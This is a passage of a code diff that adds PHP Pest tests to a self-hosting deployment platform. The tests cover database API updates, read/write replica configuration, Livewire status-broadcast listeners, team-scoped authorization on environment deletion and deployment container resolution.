->filter(fn (array $match): bool => ! str_contains($match[0], 'canGate=') || ! str_contains($match[0], 'canResource='))
|
||||
->map(fn (array $match): string => 'Line '.(substr_count(substr($view, 0, $match[1]), PHP_EOL) + 1).': '.trim(preg_replace('/\s+/', ' ', $match[0])))
|
||||
->values()
|
||||
->all();
|
||||
|
||||
expect($missingAuthorization)->toBeEmpty();
|
||||
});
|
||||
@@ -0,0 +1,147 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Environment;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\StandaloneRedis;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::updateOrCreate(['id' => 0]);
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->token = $this->user->createToken('test-token', ['*']);
|
||||
$this->bearerToken = $this->token->plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/databases', function () {
|
||||
test('updates public_port_timeout on a postgresql database', function () {
|
||||
$database = StandalonePostgresql::create([
|
||||
'name' => 'test-postgres',
|
||||
'image' => 'postgres:15-alpine',
|
||||
'postgres_user' => 'postgres',
|
||||
'postgres_password' => 'password',
|
||||
'postgres_db' => 'postgres',
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$database->uuid}", [
|
||||
'public_port_timeout' => 7200,
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
$database->refresh();
|
||||
expect($database->public_port_timeout)->toBe(7200);
|
||||
});
|
||||
|
||||
test('updates public_port_timeout on a redis database', function () {
|
||||
$database = StandaloneRedis::create([
|
||||
'name' => 'test-redis',
|
||||
'image' => 'redis:7',
|
||||
'redis_password' => 'password',
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$database->uuid}", [
|
||||
'public_port_timeout' => 1800,
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
$database->refresh();
|
||||
expect($database->public_port_timeout)->toBe(1800);
|
||||
});
|
||||
|
||||
test('rejects invalid public_port_timeout value', function () {
|
||||
$database = StandalonePostgresql::create([
|
||||
'name' => 'test-postgres',
|
||||
'image' => 'postgres:15-alpine',
|
||||
'postgres_user' => 'postgres',
|
||||
'postgres_password' => 'password',
|
||||
'postgres_db' => 'postgres',
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$database->uuid}", [
|
||||
'public_port_timeout' => 0,
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
|
||||
test('accepts null public_port_timeout', function () {
|
||||
$database = StandalonePostgresql::create([
|
||||
'name' => 'test-postgres',
|
||||
'image' => 'postgres:15-alpine',
|
||||
'postgres_user' => 'postgres',
|
||||
'postgres_password' => 'password',
|
||||
'postgres_db' => 'postgres',
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$database->uuid}", [
|
||||
'public_port_timeout' => null,
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
$database->refresh();
|
||||
expect($database->public_port_timeout)->toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe('POST /api/v1/databases/postgresql', function () {
|
||||
test('creates postgresql database with public_port_timeout', function () {
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson('/api/v1/databases/postgresql', [
|
||||
'server_uuid' => $this->server->uuid,
|
||||
'project_uuid' => $this->project->uuid,
|
||||
'environment_name' => $this->environment->name,
|
||||
'public_port_timeout' => 5400,
|
||||
'instant_deploy' => false,
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
$uuid = $response->json('uuid');
|
||||
$database = StandalonePostgresql::whereUuid($uuid)->first();
|
||||
expect($database)->not->toBeNull();
|
||||
expect($database->public_port_timeout)->toBe(5400);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,74 @@
|
||||
<?php
|
||||
|
||||
/*
|
||||
* Verifies the opt-in read/write replica split in config/database.php.
|
||||
* The config file is re-required under different putenv() states so the
|
||||
* env() calls re-evaluate, then the resulting pgsql array shape is asserted.
|
||||
*/
|
||||
|
||||
function loadDbConfig(): array
|
||||
{
|
||||
return require base_path('config/database.php');
|
||||
}
|
||||
|
||||
afterEach(function () {
|
||||
foreach ([
|
||||
'DB_READ_HOST', 'DB_READ_PORT', 'DB_READ_USERNAME', 'DB_READ_PASSWORD',
|
||||
'DB_WRITE_HOST', 'DB_WRITE_PORT', 'DB_WRITE_USERNAME', 'DB_WRITE_PASSWORD',
|
||||
'DB_STICKY',
|
||||
] as $key) {
|
||||
putenv($key);
|
||||
}
|
||||
});
|
||||
|
||||
it('has no replica keys when DB_READ_HOST is unset', function () {
|
||||
$pgsql = loadDbConfig()['connections']['pgsql'];
|
||||
|
||||
expect($pgsql)
|
||||
->not->toHaveKey('read')
|
||||
->not->toHaveKey('write')
|
||||
->not->toHaveKey('sticky')
|
||||
->and($pgsql['driver'])->toBe('pgsql');
|
||||
});
|
||||
|
||||
it('enables the read/write split when DB_READ_HOST is set', function () {
|
||||
putenv('DB_READ_HOST=replica1, replica2');
|
||||
|
||||
$pgsql = loadDbConfig()['connections']['pgsql'];
|
||||
|
||||
expect($pgsql)
|
||||
->toHaveKey('read')
|
||||
->toHaveKey('write')
|
||||
->and($pgsql['read']['host'])->toBe(['replica1', 'replica2'])
|
||||
->and($pgsql['sticky'])->toBeTrue();
|
||||
});
|
||||
|
||||
it('falls back to DB_* values for unset replica options', function () {
|
||||
putenv('DB_READ_HOST=replica1');
|
||||
|
||||
$pgsql = loadDbConfig()['connections']['pgsql'];
|
||||
|
||||
expect($pgsql['read']['port'])->toBe(env('DB_PORT', '5432'))
|
||||
->and($pgsql['read']['username'])->toBe(env('DB_USERNAME', 'coolify'))
|
||||
->and($pgsql['write']['host'])->toBe([env('DB_HOST', 'coolify-db')]);
|
||||
});
|
||||
|
||||
it('respects discrete replica overrides', function () {
|
||||
putenv('DB_READ_HOST=replica1');
|
||||
putenv('DB_READ_PORT=6432');
|
||||
putenv('DB_READ_USERNAME=reader');
|
||||
|
||||
$pgsql = loadDbConfig()['connections']['pgsql'];
|
||||
|
||||
expect($pgsql['read']['port'])->toBe('6432')
|
||||
->and($pgsql['read']['username'])->toBe('reader');
|
||||
});
|
||||
|
||||
it('disables sticky reads when DB_STICKY is false', function () {
|
||||
putenv('DB_READ_HOST=replica1');
|
||||
putenv('DB_STICKY=false');
|
||||
|
||||
$pgsql = loadDbConfig()['connections']['pgsql'];
|
||||
|
||||
expect($pgsql['sticky'])->toBeFalse();
|
||||
});
|
||||
@@ -0,0 +1,289 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Application\Configuration as ApplicationConfiguration;
|
||||
use App\Livewire\Project\Application\ServerStatusBadge;
|
||||
use App\Livewire\Project\Database\Clickhouse\General as ClickhouseGeneral;
|
||||
use App\Livewire\Project\Database\Clickhouse\StatusInfo as ClickhouseStatusInfo;
|
||||
use App\Livewire\Project\Database\Dragonfly\General as DragonflyGeneral;
|
||||
use App\Livewire\Project\Database\Dragonfly\StatusInfo as DragonflyStatusInfo;
|
||||
use App\Livewire\Project\Database\Import as DatabaseImport;
|
||||
use App\Livewire\Project\Database\ImportForm as DatabaseImportForm;
|
||||
use App\Livewire\Project\Database\Keydb\General as KeydbGeneral;
|
||||
use App\Livewire\Project\Database\Keydb\StatusInfo as KeydbStatusInfo;
|
||||
use App\Livewire\Project\Database\Mariadb\General as MariadbGeneral;
|
||||
use App\Livewire\Project\Database\Mariadb\StatusInfo as MariadbStatusInfo;
|
||||
use App\Livewire\Project\Database\Mongodb\General as MongodbGeneral;
|
||||
use App\Livewire\Project\Database\Mongodb\StatusInfo as MongodbStatusInfo;
|
||||
use App\Livewire\Project\Database\Mysql\General as MysqlGeneral;
|
||||
use App\Livewire\Project\Database\Mysql\StatusInfo as MysqlStatusInfo;
|
||||
use App\Livewire\Project\Database\Postgresql\General as PostgresqlGeneral;
|
||||
use App\Livewire\Project\Database\Postgresql\StatusInfo as PostgresqlStatusInfo;
|
||||
use App\Livewire\Project\Database\Redis\General as RedisGeneral;
|
||||
use App\Livewire\Project\Database\Redis\StatusInfo as RedisStatusInfo;
|
||||
use App\Livewire\Project\Service\Configuration as ServiceConfiguration;
|
||||
use App\Livewire\Project\Service\ResourceCard as ServiceResourceCard;
|
||||
use App\Livewire\Server\Sentinel;
|
||||
use App\Livewire\Server\Show;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\ServiceApplication;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\StandaloneMysql;
|
||||
use App\Models\StandaloneRedis;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
dataset('database-general-forms-without-broadcasts', [
|
||||
// Status-derived display moved into a sibling StatusInfo component for each DB,
|
||||
// so the form itself takes no broadcast listeners and cannot clobber wire:dirty
|
||||
// by absorbing deferred wire:model values during a status-triggered roundtrip.
|
||||
RedisGeneral::class,
|
||||
PostgresqlGeneral::class,
|
||||
MysqlGeneral::class,
|
||||
MariadbGeneral::class,
|
||||
MongodbGeneral::class,
|
||||
KeydbGeneral::class,
|
||||
DragonflyGeneral::class,
|
||||
ClickhouseGeneral::class,
|
||||
DatabaseImportForm::class,
|
||||
ServiceConfiguration::class,
|
||||
ApplicationConfiguration::class,
|
||||
]);
|
||||
|
||||
dataset('database-status-info-components', [
|
||||
RedisStatusInfo::class,
|
||||
PostgresqlStatusInfo::class,
|
||||
MysqlStatusInfo::class,
|
||||
MariadbStatusInfo::class,
|
||||
MongodbStatusInfo::class,
|
||||
KeydbStatusInfo::class,
|
||||
DragonflyStatusInfo::class,
|
||||
ClickhouseStatusInfo::class,
|
||||
]);
|
||||
|
||||
dataset('display-only-status-components', [
|
||||
RedisStatusInfo::class,
|
||||
PostgresqlStatusInfo::class,
|
||||
MysqlStatusInfo::class,
|
||||
MariadbStatusInfo::class,
|
||||
MongodbStatusInfo::class,
|
||||
KeydbStatusInfo::class,
|
||||
DragonflyStatusInfo::class,
|
||||
ClickhouseStatusInfo::class,
|
||||
DatabaseImport::class,
|
||||
ServiceResourceCard::class,
|
||||
ServerStatusBadge::class,
|
||||
]);
|
||||
|
||||
it('does not subscribe the form to status broadcasts when display lives in a sibling', function (string $componentClass) {
|
||||
// Regression guard for coolify#6062 / #6354 / #9695:
|
||||
// Status broadcasts on the form would trigger a Livewire roundtrip that absorbs
|
||||
// deferred wire:model values into the snapshot — clobbering both the typed text
|
||||
// (resolved by the earlier refreshStatus fix) and the wire:dirty indicator.
|
||||
$listeners = resolveLivewireListeners(app($componentClass));
|
||||
|
||||
expect($listeners)
|
||||
->not->toHaveKey("echo-private:user.{$this->user->id},DatabaseStatusChanged")
|
||||
->not->toHaveKey("echo-private:team.{$this->team->id},ServiceChecked")
|
||||
->not->toHaveKey("echo-private:team.{$this->team->id},ServiceStatusChanged");
|
||||
})->with('database-general-forms-without-broadcasts');
|
||||
|
||||
/**
|
||||
* Resolve a Livewire component's listeners regardless of whether the subclass
|
||||
* exposes getListeners() publicly or only declares a $listeners array — the
|
||||
* HandlesEvents trait keeps getListeners() protected by default.
|
||||
*/
|
||||
function resolveLivewireListeners(object $component): array
|
||||
{
|
||||
$method = new ReflectionMethod($component, 'getListeners');
|
||||
$method->setAccessible(true);
|
||||
|
||||
return (array) $method->invoke($component);
|
||||
}
|
||||
|
||||
it('auto-refreshes status-info sibling on database status broadcasts', function (string $componentClass) {
|
||||
// Status-derived display (connection URLs, SSL gate hint, cert expiry) lives in a sibling
|
||||
// Livewire component so it can re-render on broadcasts without touching the form's DOM.
|
||||
$listeners = resolveLivewireListeners(app($componentClass));
|
||||
|
||||
expect($listeners)
|
||||
->toHaveKey("echo-private:user.{$this->user->id},DatabaseStatusChanged")
|
||||
->toHaveKey("echo-private:team.{$this->team->id},ServiceChecked");
|
||||
})->with('database-status-info-components');
|
||||
|
||||
it('keeps realtime status listeners on display-only components instead of form owners', function (string $componentClass) {
|
||||
$listeners = resolveLivewireListeners(app($componentClass));
|
||||
|
||||
expect($listeners)->not->toBeEmpty();
|
||||
})->with('display-only-status-components');
|
||||
|
||||
it('refreshes a service resource card without refreshing the service configuration form owner', function () {
|
||||
$server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$destination = StandaloneDocker::where('server_id', $server->id)->first();
|
||||
$project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
$service = Service::create([
|
||||
'name' => 'status-card-service',
|
||||
'environment_id' => $environment->id,
|
||||
'server_id' => $server->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => $destination->getMorphClass(),
|
||||
'docker_compose_raw' => 'services: {}',
|
||||
]);
|
||||
$serviceApplication = ServiceApplication::create([
|
||||
'service_id' => $service->id,
|
||||
'name' => 'web',
|
||||
'image' => 'nginx:latest',
|
||||
'status' => 'exited:unhealthy',
|
||||
]);
|
||||
$parameters = [
|
||||
'project_uuid' => $project->uuid,
|
||||
'environment_uuid' => $environment->uuid,
|
||||
'service_uuid' => $service->uuid,
|
||||
];
|
||||
|
||||
$component = Livewire::test(ServiceResourceCard::class, [
|
||||
'service' => $service,
|
||||
'resource' => $serviceApplication,
|
||||
'parameters' => $parameters,
|
||||
]);
|
||||
|
||||
$serviceApplication->fill(['status' => 'running:healthy'])->save();
|
||||
|
||||
$component->call('refreshResource');
|
||||
|
||||
expect($component->instance()->resource->status)->toBe('running:healthy');
|
||||
});
|
||||
|
||||
it('refreshes database import status from stored resource identity after the route context is gone', function () {
|
||||
$server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$destination = StandaloneDocker::where('server_id', $server->id)->first();
|
||||
$project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
$database = StandaloneMysql::create([
|
||||
'name' => 'import-status-mysql',
|
||||
'image' => 'mysql:8',
|
||||
'mysql_root_password' => 'password',
|
||||
'mysql_user' => 'coolify',
|
||||
'mysql_password' => 'password',
|
||||
'mysql_database' => 'coolify',
|
||||
'status' => 'exited:unhealthy',
|
||||
'is_log_drain_enabled' => false,
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => $destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$component = app(DatabaseImport::class);
|
||||
$component->resourceId = $database->id;
|
||||
$component->resourceType = StandaloneMysql::class;
|
||||
|
||||
$database->fill(['status' => 'running:healthy'])->save();
|
||||
|
||||
$component->refreshStatus();
|
||||
|
||||
expect($component->resourceStatus)->toBe('running:healthy');
|
||||
});
|
||||
|
||||
it('reloads the mysql status-info model when refresh is called so ssl controls follow the latest status', function () {
|
||||
$server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$destination = StandaloneDocker::where('server_id', $server->id)->first();
|
||||
$project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
|
||||
$database = StandaloneMysql::create([
|
||||
'name' => 'test-mysql',
|
||||
'image' => 'mysql:8',
|
||||
'mysql_root_password' => 'password',
|
||||
'mysql_user' => 'coolify',
|
||||
'mysql_password' => 'password',
|
||||
'mysql_database' => 'coolify',
|
||||
'status' => 'exited:unhealthy',
|
||||
'enable_ssl' => true,
|
||||
'is_log_drain_enabled' => false,
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => $destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$component = Livewire::test(MysqlStatusInfo::class, ['database' => $database])
|
||||
->assertDontSee('Database should be stopped to change this settings.');
|
||||
|
||||
$database->fill(['status' => 'running:healthy'])->save();
|
||||
|
||||
$component->call('refresh')
|
||||
->assertSee('Database should be stopped to change this settings.');
|
||||
});
|
||||
|
||||
it('does not clobber server form text inputs when sentinel restarts', function () {
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
'name' => 'persisted-server-name',
|
||||
]);
|
||||
|
||||
$component = Livewire::test(Sentinel::class, ['server_uuid' => $server->uuid])
|
||||
->set('sentinelToken', 'user-was-typing-this-token');
|
||||
|
||||
$component->call('handleSentinelRestarted', ['serverUuid' => $server->uuid]);
|
||||
|
||||
expect($component->get('sentinelToken'))->toBe('user-was-typing-this-token');
|
||||
});
|
||||
|
||||
it('does not clobber server form text inputs when server validation completes', function () {
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
'name' => 'persisted-server-name',
|
||||
]);
|
||||
|
||||
$component = Livewire::test(Show::class, ['server_uuid' => $server->uuid])
|
||||
->set('name', 'user-was-typing-here')
|
||||
->set('ip', '203.0.113.42');
|
||||
|
||||
$component->call('handleServerValidated', ['serverUuid' => $server->uuid]);
|
||||
|
||||
expect($component->get('name'))->toBe('user-was-typing-here')
|
||||
->and($component->get('ip'))->toBe('203.0.113.42');
|
||||
});
|
||||
|
||||
it('shows the redis ssl gate hint after the sibling is refreshed', function () {
|
||||
$server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$destination = StandaloneDocker::where('server_id', $server->id)->first();
|
||||
$project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
|
||||
$database = StandaloneRedis::create([
|
||||
'name' => 'test-redis',
|
||||
'image' => 'redis:7',
|
||||
'redis_password' => 'password',
|
||||
'redis_username' => 'default',
|
||||
'status' => 'exited:unhealthy',
|
||||
'enable_ssl' => true,
|
||||
'is_log_drain_enabled' => false,
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => $destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$component = Livewire::test(RedisStatusInfo::class, ['database' => $database])
|
||||
->assertDontSee('Database should be stopped to change this settings.');
|
||||
|
||||
$database->fill(['status' => 'running:healthy'])->save();
|
||||
|
||||
$component->call('refresh')
|
||||
->assertSee('Database should be stopped to change this settings.');
|
||||
});
|
||||
@@ -0,0 +1,88 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\DeleteEnvironment;
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Database\Eloquent\ModelNotFoundException;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Features\SupportLockedProperties\CannotUpdateLockedPropertyException;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
|
||||
|
||||
// Current team
|
||||
$this->userA = User::factory()->create();
|
||||
$this->teamA = Team::factory()->create();
|
||||
$this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
|
||||
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
|
||||
$this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
|
||||
|
||||
// Another team
|
||||
$this->userB = User::factory()->create();
|
||||
$this->teamB = Team::factory()->create();
|
||||
$this->userB->teams()->attach($this->teamB, ['role' => 'owner']);
|
||||
$this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
|
||||
$this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
|
||||
|
||||
$this->actingAs($this->userA);
|
||||
session(['currentTeam' => $this->teamA]);
|
||||
});
|
||||
|
||||
test('mount cannot load DeleteEnvironment with environment from another team', function () {
|
||||
Livewire::test(DeleteEnvironment::class, ['environment_id' => $this->environmentB->id]);
|
||||
})->throws(ModelNotFoundException::class);
|
||||
|
||||
test('mount can load DeleteEnvironment with own team environment', function () {
|
||||
$component = Livewire::test(DeleteEnvironment::class, ['environment_id' => $this->environmentA->id]);
|
||||
|
||||
expect($component->get('environmentName'))->toBe($this->environmentA->name);
|
||||
});
|
||||
|
||||
test('environment_id is locked and cannot be reassigned from the client', function () {
|
||||
$component = Livewire::test(DeleteEnvironment::class, ['environment_id' => $this->environmentA->id]);
|
||||
|
||||
try {
|
||||
$component->set('environment_id', $this->environmentB->id);
|
||||
$this->fail('Setting a #[Locked] property should have thrown.');
|
||||
} catch (CannotUpdateLockedPropertyException) {
|
||||
expect(true)->toBeTrue();
|
||||
}
|
||||
});
|
||||
|
||||
test('delete still removes an empty environment owned by the current team', function () {
|
||||
$component = Livewire::test(DeleteEnvironment::class, ['environment_id' => $this->environmentA->id])
|
||||
->set('parameters', ['project_uuid' => $this->projectA->uuid]);
|
||||
|
||||
$component->call('delete');
|
||||
|
||||
expect(Environment::find($this->environmentA->id))->toBeNull();
|
||||
});
|
||||
|
||||
test('delete cannot resolve a non-empty environment from another team', function () {
|
||||
// The team-scoped lookup must stay in the delete() path so the
|
||||
// "has defined resources" branch can never run for an environment
|
||||
// outside the caller's team.
|
||||
Application::factory()->create([
|
||||
'environment_id' => $this->environmentB->id,
|
||||
]);
|
||||
|
||||
$teamScopedLookup = fn () => Environment::ownedByCurrentTeam()
|
||||
->findOrFail($this->environmentB->id);
|
||||
|
||||
expect($teamScopedLookup)->toThrow(ModelNotFoundException::class);
|
||||
});
|
||||
|
||||
test('team scoped lookup permits own team environment', function () {
|
||||
// Positive case so the cross-team check above cannot pass merely
|
||||
// because the helper itself is broken.
|
||||
$found = Environment::ownedByCurrentTeam()->findOrFail($this->environmentA->id);
|
||||
|
||||
expect($found->id)->toBe($this->environmentA->id);
|
||||
});
|
||||
@@ -0,0 +1,116 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ApplicationDeploymentJob;
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationDeploymentQueue;
|
||||
|
||||
function createJobWithProperties(string $uuid): object
|
||||
{
|
||||
$ref = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$instance = $ref->newInstanceWithoutConstructor();
|
||||
|
||||
$app = Mockery::mock(Application::class)->makePartial();
|
||||
$app->uuid = $uuid;
|
||||
|
||||
$queue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial();
|
||||
$queue->shouldReceive('addLogEntry')->andReturnNull();
|
||||
|
||||
$appProp = $ref->getProperty('application');
|
||||
$appProp->setAccessible(true);
|
||||
$appProp->setValue($instance, $app);
|
||||
|
||||
$queueProp = $ref->getProperty('application_deployment_queue');
|
||||
$queueProp->setAccessible(true);
|
||||
$queueProp->setValue($instance, $queue);
|
||||
|
||||
return $instance;
|
||||
}
|
||||
|
||||
function invokeResolve(object $instance, $containers, ?string $specifiedName, string $type): ?array
|
||||
{
|
||||
$ref = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $ref->getMethod('resolveCommandContainer');
|
||||
$method->setAccessible(true);
|
||||
|
||||
return $method->invoke($instance, $containers, $specifiedName, $type);
|
||||
}
|
||||
|
||||
describe('resolveCommandContainer', function () {
|
||||
test('returns null when no containers exist', function () {
|
||||
$instance = createJobWithProperties('abc123');
|
||||
$result = invokeResolve($instance, collect([]), 'web', 'Pre-deployment');
|
||||
|
||||
expect($result)->toBeNull();
|
||||
});
|
||||
|
||||
test('returns the sole container when only one exists', function () {
|
||||
$container = ['Names' => 'web-abc123', 'Labels' => ''];
|
||||
$instance = createJobWithProperties('abc123');
|
||||
$result = invokeResolve($instance, collect([$container]), null, 'Pre-deployment');
|
||||
|
||||
expect($result)->toBe($container);
|
||||
});
|
||||
|
||||
test('returns the sole container regardless of specified name when only one exists', function () {
|
||||
$container = ['Names' => 'web-abc123', 'Labels' => ''];
|
||||
$instance = createJobWithProperties('abc123');
|
||||
$result = invokeResolve($instance, collect([$container]), 'wrong-name', 'Pre-deployment');
|
||||
|
||||
expect($result)->toBe($container);
|
||||
});
|
||||
|
||||
test('returns null when no container name specified for multi-container app', function () {
|
||||
$containers = collect([
|
||||
['Names' => 'web-abc123', 'Labels' => ''],
|
||||
['Names' => 'worker-abc123', 'Labels' => ''],
|
||||
]);
|
||||
$instance = createJobWithProperties('abc123');
|
||||
$result = invokeResolve($instance, $containers, null, 'Pre-deployment');
|
||||
|
||||
expect($result)->toBeNull();
|
||||
});
|
||||
|
||||
test('returns null when empty string container name for multi-container app', function () {
|
||||
$containers = collect([
|
||||
['Names' => 'web-abc123', 'Labels' => ''],
|
||||
['Names' => 'worker-abc123', 'Labels' => ''],
|
||||
]);
|
||||
$instance = createJobWithProperties('abc123');
|
||||
$result = invokeResolve($instance, $containers, '', 'Pre-deployment');
|
||||
|
||||
expect($result)->toBeNull();
|
||||
});
|
||||
|
||||
test('matches correct container by specified name in multi-container app', function () {
|
||||
$containers = collect([
|
||||
['Names' => 'web-abc123', 'Labels' => ''],
|
||||
['Names' => 'worker-abc123', 'Labels' => ''],
|
||||
]);
|
||||
$instance = createJobWithProperties('abc123');
|
||||
$result = invokeResolve($instance, $containers, 'worker', 'Pre-deployment');
|
||||
|
||||
expect($result)->toBe(['Names' => 'worker-abc123', 'Labels' => '']);
|
||||
});
|
||||
|
||||
test('returns null when specified container name does not match any container', function () {
|
||||
$containers = collect([
|
||||
['Names' => 'web-abc123', 'Labels' => ''],
|
||||
['Names' => 'worker-abc123', 'Labels' => ''],
|
||||
]);
|
||||
$instance = createJobWithProperties('abc123');
|
||||
$result = invokeResolve($instance, $containers, 'nonexistent', 'Pre-deployment');
|
||||
|
||||
expect($result)->toBeNull();
|
||||
});
|
||||
|
||||
test('matches container with PR suffix', function () {
|
||||
$containers = collect([
|
||||
['Names' => 'web-abc123-pr-42', 'Labels' => ''],
|
||||
['Names' => 'worker-abc123-pr-42', 'Labels' => ''],
|
||||
]);
|
||||
$instance = createJobWithProperties('abc123');
|
||||
$result = invokeResolve($instance, $containers, 'web', 'Pre-deployment');
|
||||
|
||||
expect($result)->toBe(['Names' => 'web-abc123-pr-42', 'Labels' => '']);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,104 @@
|
||||
<?php
|
||||
|
||||
use App\Enums\ApplicationDeploymentStatus;
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationDeploymentQueue;
|
||||
use App\Models\Environment;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Testing\TestResponse;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
InstanceSettings::unguarded(function () {
|
||||
InstanceSettings::query()->create([
|
||||
'id' => 0,
|
||||
'is_registration_enabled' => true,
|
||||
]);
|
||||
});
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::query()->where('server_id', $this->server->id)->firstOrFail();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
$this->application = Application::factory()->create([
|
||||
